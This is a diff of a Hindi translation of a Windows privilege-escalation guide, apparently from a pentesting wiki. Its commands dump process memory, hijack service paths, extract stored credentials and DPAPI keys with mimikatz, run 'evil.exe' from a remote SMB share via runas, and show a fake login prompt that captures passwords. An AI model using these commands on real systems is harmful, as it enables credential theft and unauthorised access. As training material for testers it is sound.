आप **procdump** का उपयोग करके एक चल रहे प्रक्रिया का मेमोरी डंप बना सकते हैं जो sysinternals से है। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
@ -434,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
यदि आपको यह त्रुटि मिल रही है (उदाहरण के लिए SSDPSRV के साथ):
_सिस्टम त्रुटि 1058 हुई है._\
&#xNAN;_&#x54;सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है।_
&#xNAN;_&#x54;सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं जुड़े है।_
आप इसे सक्षम करने के लिए उपयोग कर सकते हैं
```bash
@ -464,11 +466,11 @@ net stop [service name] && net start [service name]
```
Privileges can be escalated through various permissions:
- **SERVICE_CHANGE_CONFIG**: सेवा बाइनरी की पुनः कॉन्फ़िगरेशन की अनुमति देता है।
- **WRITE_DAC**: अनुमति पुनः कॉन्फ़िगरेशन को सक्षम करता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
- **WRITE_OWNER**: स्वामित्व अधिग्रहण और अनुमति पुनः कॉन्फ़िगरेशन की अनुमति देता है।
- **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को विरासत में लेता है।
- **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को भी विरासत में लेता है।
- **SERVICE_CHANGE_CONFIG**: सेवा बाइनरी को पुनः कॉन्फ़िगर करने की अनुमति देता है।
- **WRITE_DAC**: अनुमति पुनः कॉन्फ़िगर करने की अनुमति देता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
- **WRITE_OWNER**: स्वामित्व अधिग्रहण और अनुमति पुनः कॉन्फ़िगर करने की अनुमति देता है।
- **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता विरासत में प्राप्त करता है।
- **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता भी विरासत में प्राप्त करता है।
For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized.
@ -501,7 +503,7 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
```
यह जांचना चाहिए कि **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं या नहीं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है।
बाइनरी द्वारा निष्पादित पथ को बदलने के लिए:
निष्पादित बाइनरी के पथ को बदलने के लिए:
```bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
@ -515,9 +517,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### Unquoted Service Paths
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्ति को निष्पादित करने की कोशिश करेगा।
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्त होने वाले को निष्पादित करने की कोशिश करेगा।
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निष्पादित करने की कोशिश करेगा:
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए, Windows निष्पादित करने की कोशिश करेगा:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
@ -555,7 +557,7 @@ Windows उपयोगकर्ताओं को यह निर्दिष
### Installed Applications
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)).
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html))
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -566,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Write Permissions
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक Administrator खाते द्वारा निष्पादित होने वाली है (schedtasks)
जांचें कि क्या आप किसी कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है।
सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है:
```bash
@ -610,13 +612,13 @@ driverquery /SI
```
## PATH DLL Hijacking
यदि आपके पास **PATH पर मौजूद एक फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक कर सकते हैं और **अधिकार बढ़ा सकते हैं**
यदि आपके पास **PATH पर मौजूद एक फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक करने और **अधिकार बढ़ाने** में सक्षम हो सकते हैं
PATH के अंदर सभी फ़ोल्डरों की अनुमतियों की जांच करें:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
इस जांच का दुरुपयोग करे के बारे में अधिक जानकारी के लिए:
इस जांच का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@ -646,7 +648,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
### Open Ports
Check for **restricted services** from the outside
बाहर से **प्रतिबंधित सेवाओं** की जांच करें
```bash
netstat -ano #Opened ports?
```
@ -682,11 +684,11 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
बश को रूट के रूप में आसानी से शुरू करने के लिए, आप `--default-user root` आजमा सकते हैं।
आप `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` फ़ोल्डर में `WSL` फ़ाइल प्रणाली का अन्वेषण कर सकते हैं।
आप `WSL` फ़ाइल सिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में खोज सकते हैं।
## Windows क्रेडेंशियल्स
## Windows Credentials
### Winlogon क्रेडेंशियल्स
### Winlogon Credentials
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
@ -701,11 +703,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Credentials manager / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault उपयोगकर्ता क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
Windows Vault उपयोगकर्ता क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिनें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन कर सकता है**। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिनसे Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**
मशीन पर संग्रहीत क्रेडेंशियल्स की सूची बनाने के लिए `cmdkey` का उपयोग करें।
```bash
@ -715,7 +717,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक रिमोट बाइनरी को कॉल कर रहा है।
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है।
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@ -727,18 +729,18 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर सममित एन्क्रिप्शन के लिए असममित निजी कुंजियों के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है जो एंट्रॉपी में महत्वपूर्ण योगदान देता है
**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर असममित निजी कुंजियों के सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है ताकि एंट्रॉपी में महत्वपूर्ण योगदान दिया जा सके
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम बनाता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाली मास्टर कुंजी के साथ उसी फ़ाइल में स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
आप **mimikatz module** `dpapi::masterkey` का उपयोग उचित तर्कों (`/pvk` या `/rpc`) के साथ इसे डिक्रिप्ट करने के लिए कर सकते हैं।
**मास्टर पासवर्ड द्वारा सुरक्षित क्रेडेंशियल फ़ाइलें** आमतौर पर निम्नलिखित स्थान पर होती हैं:
**मास्टर पासवर्ड द्वारा सुरक्षित क्रेडेंशियल फ़ाइलें** आमतौर पर निम्न स्थान पर स्थित होती हैं:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -746,7 +748,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
आप **mimikatz module** `dpapi::cred` का उपयोग उचित `/masterkey` के साथ डिक्रिप्ट करने के लिए कर सकते हैं।\
आप **memory** से **DPAPI** **masterkeys** को `sekurlsa::dpapi` module के साथ निकाल सकते हैं (यदि आप root हैं)।
आप `sekurlsa::dpapi` module के साथ **memory** से **many DPAPI** **masterkeys** निकाल सकते हैं (यदि आप root हैं)।
{{#ref}}
dpapi-extracting-passwords.md
@ -754,7 +756,7 @@ dpapi-extracting-passwords.md
### PowerShell Credentials
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए उपयोग किए जाते हैं ताकि एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से संग्रहीत किया जा सके। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से स्टोर करने के लिए उपयोग किए जाते हैं। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
आप फ़ाइल से PS क्रेडेंशियल्स को **decrypt** करने के लिए कर सकते हैं:
```powershell
@ -791,17 +793,17 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
**Mimikatz** `dpapi::rdg` मॉड्यूल का उपयोग करें उचित `/masterkey` के साथ **किसी भी .rdg फ़ाइलों को डिक्रिप्ट करने के लिए**\
आप **मेमोरी से कई DPAPI मास्टरकीज़** निकाल सकते हैं Mimikatz `sekurlsa::dpapi` मॉड्यूल के साथ
आप **Mimikatz** `sekurlsa::dpapi` मॉड्यूल के साथ मेमोरी से कई DPAPI मास्टरकीज़ **निकाल सकते हैं**
### Sticky Notes
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को सहेजने के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है।
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को **सहेजने** के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है।
### AppCmd.exe
**ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और उच्च इंटीग्रिटी स्तर के तहत चलाना चाहिए।**\
**AppCmd.exe** `%systemroot%\system32\inetsrv\` निर्देशिका में स्थित है।\
यदि यह फ़ाइल मौजूद है तो यह संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
यह कोड [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) से निकाला गया था:
```bash
@ -890,9 +892,9 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
if ($result) { $result }
else { Write "Not Installed." }
```
## फ़ाइलें और रजिस्ट्र्री (क्रेडेंशियल्स)
## फ़ाइलें और रजिस्ट्री (क्रेडेंशियल्स)
### Putty क्रेड्स
### Putty क्रेडेंशियल्स
```bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
```
@ -906,7 +908,7 @@ SSH निजी कुंजी रजिस्ट्री कुंजी `HK
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। यह एन्क्रिप्टेड रूप में संग्रहीत होती है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\
यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। इसे एन्क्रिप्टेड रूप में संग्रहीत किया गया है लेकिन इसे आसानी से [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके डिक्रिप्ट किया जा सकता है।\
इस तकनीक के बारे में अधिक जानकारी यहाँ है: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो, तो चलाएँ:
@ -1012,7 +1014,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
web.config के साथ क्रेडेंशियल्स का उदाहरण:
वेब.config का उदाहरण जिसमें क्रेडेंशियल्स हैं:
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1050,9 +1052,9 @@ C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
```
### Ask for credentials
### क्रेडेंशियल्स के लिए पूछें
You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
आप हमेशा **उपयोगकर्ता से उसके क्रेडेंशियल्स या किसी अन्य उपयोगकर्ता के क्रेडेंशियल्स दर्ज करने के लिए कह सकते हैं** यदि आपको लगता है कि वह उन्हें जानता होगा (ध्यान दें कि **ग्राहक से सीधे **क्रेडेंशियल्स** के लिए पूछना वास्तव में **खतरनाक** है):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1150,11 +1152,11 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
```
[**रजिस्ट्री से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
[**Registry से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
### ब्राउज़र्स इतिहास
आपको उन dbs की जांच करनी चाहिए जहाँ **Chrome या Firefox** े पासवर्ड संग्रहीत हैं।\
आपको उन dbs की जांच करनी चाहिए जहाँ **Chrome या Firefox** े पासवर्ड संग्रहीत हैं।\
ब्राउज़रों के इतिहास, बुकमार्क और पसंदीदा की भी जांच करें ताकि शायद कुछ **पासवर्ड** वहाँ संग्रहीत हों।
ब्राउज़रों से पासवर्ड निकालने के लिए उपकरण:
@ -1166,17 +1168,17 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **COM DLL ओवरराइटिंग**
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान** की जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास ID (CLSID)** के माध्यम से **पहचान** की जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस IDs (IIDs) के माध्यम से पहचाना जाता है।
COM क्लास और इंटरफेस रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई जाती है।
COM क्लास और इंटरफेस को रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई गई है।
इस रजिस्ट्री के CLSIDs के अंदर आप बच्चे की रजिस्ट्री **InProcServer32** पा सकते हैं जिसमें एक **डिफ़ॉल्ट मान** होता है जो एक **DLL** की ओर इशारा करता है और एक मान जिसे **ThreadingModel** कहा जाता है जो **Apartment** (सिंगल-थ्रेडेड), **Free** (मल्टी-थ्रेडेड), **Both** (सिंगल या मल्टी) या **Neutral** (थ्रेड न्यूट्रल) हो सकता है।
![](<../../images/image (729).png>)
बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
बुनियादी रूप से, यदि आप किसी भी DLL को **ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
हमलावरों द्वारा COM Hijacking का उपयोग स्थिरता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए देखें:
हमलावरों द्वारा COM Hijacking का उपयोग स्थायीता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए जांचें:
{{#ref}}
com-hijacking.md
@ -1205,9 +1207,9 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### पासवर्ड खोजने वाले उपकरण
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **स्वचालित रूप से हर metasploit POST मॉड्यूल को निष्पादित करने के लिए बनाया है जो पीड़ित के अंदर क्रेडेंशियल्स की खोज करता है**।\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **शिकार पर क्रेडेंशियल्स खोजने वाले हर metasploit POST मॉड्यूल को स्वचालित रूप से निष्पादित करने** के लिए बनाया है।\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पृष्ठ में उल्लिखित पासवर्ड वाले सभी फ़ाइलों की खोज करता है।\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो सिस्टम से पासवर्ड निकालता है।
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो एक सिस्टम से पासवर्ड निकालता है।
उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है जो कई उपकरणों में स्पष्ट पाठ में इस डेटा को सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP)
```bash
@ -1219,25 +1221,25 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेते हुए**।\
